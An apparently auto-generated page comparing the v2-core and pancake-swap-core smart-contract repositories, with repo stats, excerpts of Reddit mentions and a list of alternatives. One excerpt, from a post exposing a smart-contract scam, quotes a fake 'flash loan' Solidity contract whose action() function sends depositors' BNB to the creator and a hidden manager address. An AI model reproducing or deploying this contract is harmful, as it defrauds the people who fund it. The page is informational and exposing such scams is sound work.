v2-core VS pancake-swap-core

Compare v2-core vs pancake-swap-core and see what are their differences.

pancake-swap-core

Core smart contracts (by pancakeswap)
Our great sponsors
  • SurveyJS - Open-Source JSON Form Builder to Create Dynamic Forms Right in Your App
  • WorkOS - The modern identity platform for B2B SaaS
  • InfluxDB - Power Real-Time Data Analytics at Scale
v2-core pancake-swap-core
16 5
2,798 171
2.4% -
0.0 0.0
23 days ago over 2 years ago
TypeScript TypeScript
GNU General Public License v3.0 only GNU General Public License v3.0 only
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.

v2-core

Posts with mentions or reviews of v2-core. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-11-06.

pancake-swap-core

Posts with mentions or reviews of pancake-swap-core. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-04-26.
  • Anatomy of a Smart Contract Scam
    2 projects | /r/CryptoReality | 26 Apr 2022
    pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }
  • Please for the love of god, what does this mean? I canโ€™t swap a goddamn thing. Tried swapping different tokens, different amounts, different slippages. But nada.
    1 project | /r/pancakeswap | 16 Jun 2021
    In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.
  • What is 0x07d80AE6f36A5E08Dca74cE884A24D39dB9934ed?
    1 project | /r/pancakeswap | 15 May 2021
  • Is there a way to monitor the price on pancake swap through an API?
    5 projects | /r/pancakeswap | 30 Apr 2021
    https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73
  • Can defi DEX exchanges steal your initial investment?
    3 projects | /r/Yield_Farming | 12 Apr 2021
    pancake-swap-core/contracts at master ยท pancakeswap/pancake-swap-core ยท GitHub

What are some alternatives?

When comparing v2-core and pancake-swap-core you can also consider the following projects:

uniswap-v2-periphery - ๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery]

human-standard-token-abi - A JSON ABI for the Ethereum ERC 20 Token Standard

erc-1155 - Ethereum Semi Fungible Standard (ERC-1155)

uniswap-v2-core - ๐ŸŽ› Core smart contracts of Uniswap V2 [Moved to: https://github.com/Uniswap/v2-core]

v2-periphery - ๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2

bsc-ecosystem - A guide to available tools, components, and platforms for developing applications on BSC.

erc20-balance - ๐Ÿ’Ž Get 2000+ ERC-20 token balances with JavaScript. Supports Node.js and Deno

contracts

revoke.cash - โŒ Revoke or update your token approvals

solidity-lib - ๐Ÿ“– Solidity libraries that are shared across Uniswap contracts

erc-1155 - ERC-1155: Smart Contract Sample Implementation